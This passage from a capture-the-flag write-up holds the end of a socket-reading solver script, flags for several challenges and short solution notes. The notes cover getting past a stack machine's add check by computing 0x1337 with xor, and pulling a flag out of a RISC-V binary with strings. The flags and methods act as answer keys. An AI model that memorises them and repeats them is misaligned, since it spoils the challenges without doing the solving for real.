    print("\n[debug] all answers sent, receiving final output...", flush=True)

    # Najpierw wypisz wszystko, co zostało już pobrane do bufora.
    if r.buf:
        print(r.buf.decode(errors="replace"), end="", flush=True)
        r.buf = b""

    r.sock.settimeout(10)

    while True:
        try:
            chunk = r.sock.recv(8192)
        except socket.timeout:
            break

        if not chunk:
            break

        print(chunk.decode(errors="replace"), end="", flush=True)


if __name__ == "__main__":
    main()
midnight{y0u_4r3_th3_m4st3r_0f_sl0ps0lv3s}

Solution author: trinitro

smachine

04

Analysis

The challenge provides a simple stack-machine binary. After reversing the instruction handlers, the key observation is that directly producing the value 0x1337 (for example via add with immediate 0x1337) is explicitly blocked — the program prints Bad Result. and exits.

The check is straightforward:

  • If the top of the stack ever becomes exactly 0x1337 through an add instruction, the machine aborts.
  • However, other arithmetic operations (like xor, sub, mul, etc.) are not subject to the same blacklist.

Bypass

Since add with 0x1337 is forbidden, we can construct 0x1337 via xor instead:

  • Load 0xffff into register 1
  • Load 0xecc8 into register 2
  • xor register 1 and register 2
0xffff ^ 0xecc8 = 0x1337

This yields the desired value without ever triggering the add check. Once 0x1337 is on the stack, the machine treats it as the win condition and prints the flag.

midnight{s1MpL3_sT4cK_M4cH1N3}

Solution author: deidar

riscal

05

Solution

strings riscal-0f56f1aacbef526420953111a1d07d10| grep midnight
midnight{RISCV_1S_4_34zy_1S4_70_unDeRst4Nd!!}

Solution author: Grzechu

Bonus

You can find all binaries here.